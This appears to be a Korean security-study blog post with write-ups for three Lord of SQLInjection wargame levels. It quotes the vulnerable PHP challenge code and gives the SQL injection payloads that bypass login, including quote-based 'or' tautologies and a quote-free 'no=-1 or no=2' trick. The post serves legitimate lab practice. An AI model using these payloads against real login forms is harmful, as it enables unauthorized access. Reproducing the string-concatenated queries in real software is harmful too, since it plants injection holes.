1. 로그인만
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; //여기부분
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin"); //로그인만 하면 됩니다.
highlight_file(__FILE__);
?>
값은 쿼리로 넣어주기!
id=admin'or'1
pw=1'or'1
2. admin으로 로그인만
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
답: https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27or%271&pw=1%27or%271
query : select id from prob_cobolt where id='admin'or'1' and pw=md5('1'or'1')
admin일때 항상 참
3. id가 주어졌지만 admin으로 로그인 해라.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); //_ , . , / 막았다.
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); //', ", 백틱 막았다.
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; //id는 admin
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin"); //admin으로 로그인 하면된다.
highlight_file(__FILE__);
?>
' 제한이 있을때 '사용하지않고 로그인 방법
여기 보면
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; //
and가 있다. and를 논리연산자로 이용한다.
id='guest' and no= 여기 부분을 한 부분으로 묶는다. ( ' 사용 없이)
id='guest' and no= -1 or no=2
no -1은 주로 0부터 시작하는 걸 생각하면 거짓값(false)가 나올 것이다.
and와 or은 처음부터 계산 시작하므로 no=2값은 있으므로 true
그래서 no=2인 admin으로 로그인할 수 있다. (no=2가 참이므로 그 외에는 생각 안하는 것 같다.)
참고로 no=1은 guest이다.
sql injection 정보
https://bebhionn.tistory.com/35
깨달은 우회기법1
깨달은 우회기법2
https://security04.tistory.com/171
백슬래시 사용 우회
https://g-idler.tistory.com/61
'보안공부 > 워게임' 카테고리의 다른 글
Mango (0) | 2021.07.03 |
---|---|
XSS game 1,2,3,4 (0) | 2021.05.28 |
wargame[2]csrf-1 (0) | 2021.05.22 |
wargame[1] simple sql (0) | 2021.05.21 |
wargame [1] file-download-1 (0) | 2021.05.20 |